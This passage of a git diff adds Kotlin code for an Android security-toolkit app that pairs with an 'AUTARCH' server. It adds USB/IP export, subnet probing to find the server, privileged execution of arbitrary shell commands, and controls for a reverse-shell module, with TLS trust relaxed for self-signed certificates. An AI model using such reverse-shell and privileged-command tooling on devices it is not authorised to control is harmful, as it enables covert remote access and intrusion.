||||||
|
override fun onBind(intent: Intent?): android.os.IBinder? = null
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
|
||||||
|
class SmsComposeActivity : android.app.Activity() {
|
||||||
|
override fun onCreate(savedInstanceState: android.os.Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,97 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
import com.darkhal.archon.util.ShellExecutor
|
||||||
|
import com.darkhal.archon.util.ShellResult
|
||||||
|
|
||||||
|
data class UsbDevice(
|
||||||
|
val busId: String,
|
||||||
|
val description: String
|
||||||
|
)
|
||||||
|
|
||||||
|
object UsbIpManager {
|
||||||
|
|
||||||
|
private const val USBIPD_PROCESS = "usbipd"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Start USB/IP daemon to export this device's USB gadget over the network.
|
||||||
|
*/
|
||||||
|
fun startExport(): ShellResult {
|
||||||
|
return PrivilegeManager.execute("usbipd -D")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Stop the USB/IP daemon.
|
||||||
|
*/
|
||||||
|
fun stopExport(): ShellResult {
|
||||||
|
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if usbipd is currently running.
|
||||||
|
*/
|
||||||
|
fun isExporting(): Boolean {
|
||||||
|
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
|
||||||
|
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the usbip binary is available on this device.
|
||||||
|
*/
|
||||||
|
fun isAvailable(): Boolean {
|
||||||
|
val result = ShellExecutor.execute("which usbip || which usbipd")
|
||||||
|
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* List local USB devices that can be exported.
|
||||||
|
*/
|
||||||
|
fun listLocalDevices(): List<UsbDevice> {
|
||||||
|
val result = PrivilegeManager.execute("usbip list -l")
|
||||||
|
if (result.exitCode != 0) return emptyList()
|
||||||
|
|
||||||
|
val devices = mutableListOf<UsbDevice>()
|
||||||
|
val lines = result.stdout.lines()
|
||||||
|
|
||||||
|
for (line in lines) {
|
||||||
|
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
|
||||||
|
if (match != null) {
|
||||||
|
val busId = match.groupValues[1]
|
||||||
|
val desc = match.groupValues[2]
|
||||||
|
devices.add(UsbDevice(busId, desc))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return devices
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Bind a local USB device for export.
|
||||||
|
*/
|
||||||
|
fun bindDevice(busId: String): ShellResult {
|
||||||
|
return PrivilegeManager.execute("usbip bind -b $busId")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Unbind a local USB device from export.
|
||||||
|
*/
|
||||||
|
fun unbindDevice(busId: String): ShellResult {
|
||||||
|
return PrivilegeManager.execute("usbip unbind -b $busId")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get combined USB/IP status.
|
||||||
|
*/
|
||||||
|
fun getStatus(): Map<String, Any> {
|
||||||
|
val available = isAvailable()
|
||||||
|
val exporting = if (available) isExporting() else false
|
||||||
|
val devices = if (available) listLocalDevices() else emptyList()
|
||||||
|
|
||||||
|
return mapOf(
|
||||||
|
"available" to available,
|
||||||
|
"exporting" to exporting,
|
||||||
|
"device_count" to devices.size,
|
||||||
|
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,278 @@
|
|||||||
|
package com.darkhal.archon.ui
|
||||||
|
|
||||||
|
import android.graphics.Color
|
||||||
|
import android.graphics.drawable.GradientDrawable
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.view.LayoutInflater
|
||||||
|
import android.view.View
|
||||||
|
import android.view.ViewGroup
|
||||||
|
import android.widget.TextView
|
||||||
|
import androidx.fragment.app.Fragment
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.service.DiscoveryManager
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
import com.darkhal.archon.util.ShellExecutor
|
||||||
|
import com.darkhal.archon.util.SslHelper
|
||||||
|
import com.google.android.material.button.MaterialButton
|
||||||
|
import java.net.HttpURLConnection
|
||||||
|
import java.net.URL
|
||||||
|
|
||||||
|
class DashboardFragment : Fragment() {
|
||||||
|
|
||||||
|
private lateinit var privilegeStatusDot: View
|
||||||
|
private lateinit var privilegeStatusText: TextView
|
||||||
|
private lateinit var serverStatusDot: View
|
||||||
|
private lateinit var serverStatusText: TextView
|
||||||
|
private lateinit var wgStatusDot: View
|
||||||
|
private lateinit var wgStatusText: TextView
|
||||||
|
private lateinit var outputLog: TextView
|
||||||
|
|
||||||
|
// Discovery
|
||||||
|
private lateinit var discoveryStatusDot: View
|
||||||
|
private lateinit var discoveryStatusText: TextView
|
||||||
|
private lateinit var discoveryMethodText: TextView
|
||||||
|
private lateinit var btnDiscover: MaterialButton
|
||||||
|
private var discoveryManager: DiscoveryManager? = null
|
||||||
|
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
override fun onCreateView(
|
||||||
|
inflater: LayoutInflater,
|
||||||
|
container: ViewGroup?,
|
||||||
|
savedInstanceState: Bundle?
|
||||||
|
): View {
|
||||||
|
return inflater.inflate(R.layout.fragment_dashboard, container, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||||
|
super.onViewCreated(view, savedInstanceState)
|
||||||
|
|
||||||
|
// Bind views
|
||||||
|
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||||
|
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||||
|
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||||
|
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||||
|
wgStatusDot = view.findViewById(R.id.wg_status_dot)
|
||||||
|
wgStatusText = view.findViewById(R.id.wg_status_text)
|
||||||
|
outputLog = view.findViewById(R.id.output_log)
|
||||||
|
|
||||||
|
// Discovery views
|
||||||
|
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
|
||||||
|
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
|
||||||
|
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
|
||||||
|
btnDiscover = view.findViewById(R.id.btn_discover)
|
||||||
|
|
||||||
|
setupDiscovery()
|
||||||
|
|
||||||
|
// Initialize PrivilegeManager and check available methods
|
||||||
|
val ctx = requireContext()
|
||||||
|
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val method = PrivilegeManager.getAvailableMethod()
|
||||||
|
handler.post {
|
||||||
|
val hasPrivilege = method != PrivilegeManager.Method.NONE
|
||||||
|
setStatusDot(privilegeStatusDot, hasPrivilege)
|
||||||
|
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||||
|
appendLog("Privilege: ${method.label}")
|
||||||
|
refreshServerStatus()
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
|
||||||
|
// Auto-discover server on launch
|
||||||
|
startDiscovery()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun refreshServerStatus() {
|
||||||
|
Thread {
|
||||||
|
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||||
|
val webPort = PrefsManager.getWebPort(requireContext())
|
||||||
|
|
||||||
|
// Check WireGuard tunnel
|
||||||
|
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
|
||||||
|
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
|
||||||
|
|
||||||
|
// Check if AUTARCH server is reachable
|
||||||
|
val serverReachable = if (serverIp.isNotEmpty()) {
|
||||||
|
probeServer(serverIp, webPort)
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
// WireGuard
|
||||||
|
setStatusDot(wgStatusDot, wgUp)
|
||||||
|
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
|
||||||
|
|
||||||
|
// Server
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
setStatusDot(serverStatusDot, false)
|
||||||
|
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
|
||||||
|
} else if (serverReachable) {
|
||||||
|
setStatusDot(serverStatusDot, true)
|
||||||
|
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
|
||||||
|
} else {
|
||||||
|
setStatusDot(serverStatusDot, false)
|
||||||
|
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun probeServer(ip: String, port: Int): Boolean {
|
||||||
|
return try {
|
||||||
|
val url = URL("https://$ip:$port/")
|
||||||
|
val conn = url.openConnection() as HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 3000
|
||||||
|
conn.readTimeout = 3000
|
||||||
|
conn.requestMethod = "GET"
|
||||||
|
conn.instanceFollowRedirects = true
|
||||||
|
val code = conn.responseCode
|
||||||
|
conn.disconnect()
|
||||||
|
code in 200..399
|
||||||
|
} catch (e: Exception) {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setStatusDot(dot: View, online: Boolean) {
|
||||||
|
val drawable = GradientDrawable()
|
||||||
|
drawable.shape = GradientDrawable.OVAL
|
||||||
|
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||||
|
dot.background = drawable
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun appendLog(msg: String) {
|
||||||
|
val current = outputLog.text.toString()
|
||||||
|
val lines = current.split("\n").takeLast(20)
|
||||||
|
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Discovery ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun setupDiscovery() {
|
||||||
|
discoveryManager = DiscoveryManager(requireContext())
|
||||||
|
discoveryManager?.listener = object : DiscoveryManager.Listener {
|
||||||
|
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||||
|
val method = when (server.method) {
|
||||||
|
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||||
|
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
||||||
|
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||||
|
}
|
||||||
|
setStatusDot(discoveryStatusDot, true)
|
||||||
|
discoveryStatusText.text = "Found: ${server.hostname}"
|
||||||
|
discoveryMethodText.text = "via $method"
|
||||||
|
appendLog("Discovered AUTARCH via $method")
|
||||||
|
|
||||||
|
if (server.ip.isNotEmpty() && server.port > 0) {
|
||||||
|
PrefsManager.setServerIp(requireContext(), server.ip)
|
||||||
|
PrefsManager.setWebPort(requireContext(), server.port)
|
||||||
|
appendLog("Auto-configured: ${server.ip}:${server.port}")
|
||||||
|
// Update PrivilegeManager with new server info
|
||||||
|
PrivilegeManager.setServerConnection(server.ip, server.port)
|
||||||
|
refreshServerStatus()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
|
||||||
|
appendLog("Scanning: ${method.name}...")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||||
|
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
|
||||||
|
appendLog("No mDNS/BT response — trying HTTP probe...")
|
||||||
|
probeLocalSubnet()
|
||||||
|
}
|
||||||
|
btnDiscover.isEnabled = true
|
||||||
|
btnDiscover.text = "SCAN"
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
|
||||||
|
appendLog("${method.name}: $error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
btnDiscover.setOnClickListener {
|
||||||
|
startDiscovery()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startDiscovery() {
|
||||||
|
setStatusDot(discoveryStatusDot, false)
|
||||||
|
discoveryStatusText.text = "Scanning network..."
|
||||||
|
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
|
||||||
|
btnDiscover.isEnabled = false
|
||||||
|
btnDiscover.text = "SCANNING..."
|
||||||
|
discoveryManager?.startDiscovery()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun probeLocalSubnet() {
|
||||||
|
Thread {
|
||||||
|
val port = PrefsManager.getWebPort(requireContext())
|
||||||
|
|
||||||
|
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
|
||||||
|
val gateway = routeResult.stdout.split(" ").let { parts ->
|
||||||
|
val idx = parts.indexOf("via")
|
||||||
|
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gateway == null) {
|
||||||
|
handler.post {
|
||||||
|
discoveryStatusText.text = "No AUTARCH server found"
|
||||||
|
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||||
|
}
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
|
||||||
|
val base = gateway.substringBeforeLast(".") + "."
|
||||||
|
appendLogOnUi("Probing ${base}x on port $port...")
|
||||||
|
|
||||||
|
val candidates = mutableListOf<String>()
|
||||||
|
candidates.add(gateway)
|
||||||
|
for (i in 1..30) {
|
||||||
|
val ip = "$base$i"
|
||||||
|
if (ip != gateway) candidates.add(ip)
|
||||||
|
}
|
||||||
|
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
|
||||||
|
|
||||||
|
val savedIp = PrefsManager.getServerIp(requireContext())
|
||||||
|
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
|
||||||
|
candidates.add(0, savedIp)
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ip in candidates) {
|
||||||
|
if (probeServer(ip, port)) {
|
||||||
|
handler.post {
|
||||||
|
PrefsManager.setServerIp(requireContext(), ip)
|
||||||
|
setStatusDot(discoveryStatusDot, true)
|
||||||
|
discoveryStatusText.text = "Found: AUTARCH"
|
||||||
|
discoveryMethodText.text = "via HTTP probe ($ip)"
|
||||||
|
appendLog("Found AUTARCH at $ip:$port (HTTP)")
|
||||||
|
PrivilegeManager.setServerConnection(ip, port)
|
||||||
|
refreshServerStatus()
|
||||||
|
}
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
discoveryStatusText.text = "No AUTARCH server found"
|
||||||
|
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||||
|
appendLog("HTTP probe: no server found on $base* :$port")
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun appendLogOnUi(msg: String) {
|
||||||
|
handler.post { appendLog(msg) }
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroyView() {
|
||||||
|
super.onDestroyView()
|
||||||
|
discoveryManager?.stopDiscovery()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,61 @@
|
|||||||
|
package com.darkhal.archon.ui
|
||||||
|
|
||||||
|
import android.content.Intent
|
||||||
|
import android.net.Uri
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.view.LayoutInflater
|
||||||
|
import android.view.View
|
||||||
|
import android.view.ViewGroup
|
||||||
|
import android.widget.TextView
|
||||||
|
import androidx.fragment.app.Fragment
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
|
||||||
|
class LinksFragment : Fragment() {
|
||||||
|
|
||||||
|
private data class LinkItem(
|
||||||
|
val cardId: Int,
|
||||||
|
val path: String
|
||||||
|
)
|
||||||
|
|
||||||
|
private val links = listOf(
|
||||||
|
LinkItem(R.id.card_dashboard, "/dashboard"),
|
||||||
|
LinkItem(R.id.card_wireguard, "/wireguard"),
|
||||||
|
LinkItem(R.id.card_shield, "/android-protect"),
|
||||||
|
LinkItem(R.id.card_hardware, "/hardware"),
|
||||||
|
LinkItem(R.id.card_wireshark, "/wireshark"),
|
||||||
|
LinkItem(R.id.card_osint, "/osint"),
|
||||||
|
LinkItem(R.id.card_defense, "/defense"),
|
||||||
|
LinkItem(R.id.card_offense, "/offense"),
|
||||||
|
LinkItem(R.id.card_settings, "/settings")
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun onCreateView(
|
||||||
|
inflater: LayoutInflater,
|
||||||
|
container: ViewGroup?,
|
||||||
|
savedInstanceState: Bundle?
|
||||||
|
): View {
|
||||||
|
return inflater.inflate(R.layout.fragment_links, container, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||||
|
super.onViewCreated(view, savedInstanceState)
|
||||||
|
|
||||||
|
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
|
||||||
|
|
||||||
|
// Update server URL label
|
||||||
|
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
|
||||||
|
|
||||||
|
// Set up click listeners for all link cards
|
||||||
|
for (link in links) {
|
||||||
|
view.findViewById<View>(link.cardId)?.setOnClickListener {
|
||||||
|
openUrl("$baseUrl${link.path}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun openUrl(url: String) {
|
||||||
|
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
|
||||||
|
startActivity(intent)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,306 @@
|
|||||||
|
package com.darkhal.archon.ui
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.graphics.Color
|
||||||
|
import android.graphics.drawable.GradientDrawable
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.view.LayoutInflater
|
||||||
|
import android.view.View
|
||||||
|
import android.view.ViewGroup
|
||||||
|
import android.widget.TextView
|
||||||
|
import androidx.appcompat.app.AlertDialog
|
||||||
|
import androidx.fragment.app.Fragment
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.module.ModuleManager
|
||||||
|
import com.darkhal.archon.module.ReverseShellModule
|
||||||
|
import com.darkhal.archon.server.ArchonClient
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
import com.google.android.material.button.MaterialButton
|
||||||
|
import com.google.android.material.textfield.TextInputEditText
|
||||||
|
|
||||||
|
class ModulesFragment : Fragment() {
|
||||||
|
|
||||||
|
private lateinit var serverStatusDot: View
|
||||||
|
private lateinit var serverStatusText: TextView
|
||||||
|
private lateinit var archonStatusDot: View
|
||||||
|
private lateinit var archonInfoText: TextView
|
||||||
|
private lateinit var archonUidText: TextView
|
||||||
|
private lateinit var inputArchonCmd: TextInputEditText
|
||||||
|
private lateinit var shieldStatusDot: View
|
||||||
|
private lateinit var shieldStatusText: TextView
|
||||||
|
private lateinit var honeypotStatusDot: View
|
||||||
|
private lateinit var honeypotStatusText: TextView
|
||||||
|
private lateinit var revshellStatusDot: View
|
||||||
|
private lateinit var revshellStatusText: TextView
|
||||||
|
private lateinit var outputLog: TextView
|
||||||
|
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
override fun onCreateView(
|
||||||
|
inflater: LayoutInflater,
|
||||||
|
container: ViewGroup?,
|
||||||
|
savedInstanceState: Bundle?
|
||||||
|
): View {
|
||||||
|
return inflater.inflate(R.layout.fragment_modules, container, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||||
|
super.onViewCreated(view, savedInstanceState)
|
||||||
|
|
||||||
|
// Bind views
|
||||||
|
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||||
|
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||||
|
archonStatusDot = view.findViewById(R.id.archon_status_dot)
|
||||||
|
archonInfoText = view.findViewById(R.id.archon_info_text)
|
||||||
|
archonUidText = view.findViewById(R.id.archon_uid_text)
|
||||||
|
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
|
||||||
|
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
|
||||||
|
shieldStatusText = view.findViewById(R.id.shield_status_text)
|
||||||
|
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
|
||||||
|
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
|
||||||
|
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
|
||||||
|
revshellStatusText = view.findViewById(R.id.revshell_status_text)
|
||||||
|
outputLog = view.findViewById(R.id.modules_output_log)
|
||||||
|
|
||||||
|
// Archon Server buttons
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
|
||||||
|
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
|
||||||
|
if (cmd.isEmpty()) {
|
||||||
|
appendLog("Enter a command to run")
|
||||||
|
return@setOnClickListener
|
||||||
|
}
|
||||||
|
runArchonCommand(cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
|
||||||
|
appendLog("Querying server info...")
|
||||||
|
Thread {
|
||||||
|
val info = ArchonClient.getServerInfo(requireContext())
|
||||||
|
handler.post {
|
||||||
|
if (info != null) {
|
||||||
|
appendLog("Archon: $info")
|
||||||
|
archonInfoText.text = "Info: $info"
|
||||||
|
} else {
|
||||||
|
appendLog("Archon Server not running")
|
||||||
|
archonInfoText.text = "Status: not running"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
|
||||||
|
Thread {
|
||||||
|
val running = ArchonClient.isServerRunning(requireContext())
|
||||||
|
handler.post {
|
||||||
|
setStatusDot(archonStatusDot, running)
|
||||||
|
appendLog(if (running) "Archon: pong" else "Archon: no response")
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
|
||||||
|
runArchonCommand("pm list packages -3")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Shield buttons
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
|
||||||
|
runModuleAction("shield", "full_scan", "Full Scan")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
|
||||||
|
runModuleAction("shield", "scan_packages", "Package Scan")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
|
||||||
|
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
|
||||||
|
runModuleAction("shield", "scan_certificates", "Certificate Scan")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
|
||||||
|
runModuleAction("shield", "scan_network", "Network Scan")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Honeypot buttons
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
|
||||||
|
runModuleAction("honeypot", "harden_all", "Harden All")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
|
||||||
|
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
|
||||||
|
runModuleAction("honeypot", "set_private_dns", "Private DNS")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
|
||||||
|
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
|
||||||
|
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reverse Shell buttons
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
|
||||||
|
showRevshellWarnings(0)
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
|
||||||
|
runModuleAction("revshell", "disable", "Disable")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
|
||||||
|
runModuleAction("revshell", "connect", "Connect")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
|
||||||
|
runModuleAction("revshell", "disconnect", "Disconnect")
|
||||||
|
}
|
||||||
|
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
|
||||||
|
runModuleAction("revshell", "status", "Status")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize status
|
||||||
|
refreshStatus()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun refreshStatus() {
|
||||||
|
Thread {
|
||||||
|
val method = PrivilegeManager.getAvailableMethod()
|
||||||
|
val archonRunning = ArchonClient.isServerRunning(requireContext())
|
||||||
|
val serverInfo = if (archonRunning) {
|
||||||
|
ArchonClient.getServerInfo(requireContext()) ?: "running"
|
||||||
|
} else {
|
||||||
|
null
|
||||||
|
}
|
||||||
|
|
||||||
|
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
|
||||||
|
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
|
||||||
|
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
// Server status
|
||||||
|
val serverActive = method != PrivilegeManager.Method.NONE
|
||||||
|
setStatusDot(serverStatusDot, serverActive)
|
||||||
|
serverStatusText.text = when (method) {
|
||||||
|
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
|
||||||
|
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
|
||||||
|
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
|
||||||
|
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
|
||||||
|
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Archon Server status
|
||||||
|
setStatusDot(archonStatusDot, archonRunning)
|
||||||
|
archonInfoText.text = if (archonRunning) {
|
||||||
|
"Status: Running ($serverInfo)"
|
||||||
|
} else {
|
||||||
|
"Status: Not running — start in Setup tab"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Module status
|
||||||
|
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
|
||||||
|
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
|
||||||
|
|
||||||
|
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
|
||||||
|
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
|
||||||
|
|
||||||
|
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
|
||||||
|
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
|
||||||
|
|
||||||
|
appendLog("Privilege: ${method.label}")
|
||||||
|
if (archonRunning) appendLog("Archon Server: active")
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun runArchonCommand(command: String) {
|
||||||
|
appendLog("$ $command")
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val method = PrivilegeManager.getAvailableMethod()
|
||||||
|
if (method == PrivilegeManager.Method.NONE) {
|
||||||
|
handler.post { appendLog("Error: No privilege method — run Setup first") }
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
|
||||||
|
val result = PrivilegeManager.execute(command)
|
||||||
|
handler.post {
|
||||||
|
if (result.stdout.isNotEmpty()) {
|
||||||
|
// Show up to 30 lines
|
||||||
|
val lines = result.stdout.split("\n").take(30)
|
||||||
|
for (line in lines) {
|
||||||
|
appendLog(line)
|
||||||
|
}
|
||||||
|
if (result.stdout.split("\n").size > 30) {
|
||||||
|
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (result.stderr.isNotEmpty()) {
|
||||||
|
appendLog("ERR: ${result.stderr}")
|
||||||
|
}
|
||||||
|
if (result.exitCode != 0) {
|
||||||
|
appendLog("exit: ${result.exitCode}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
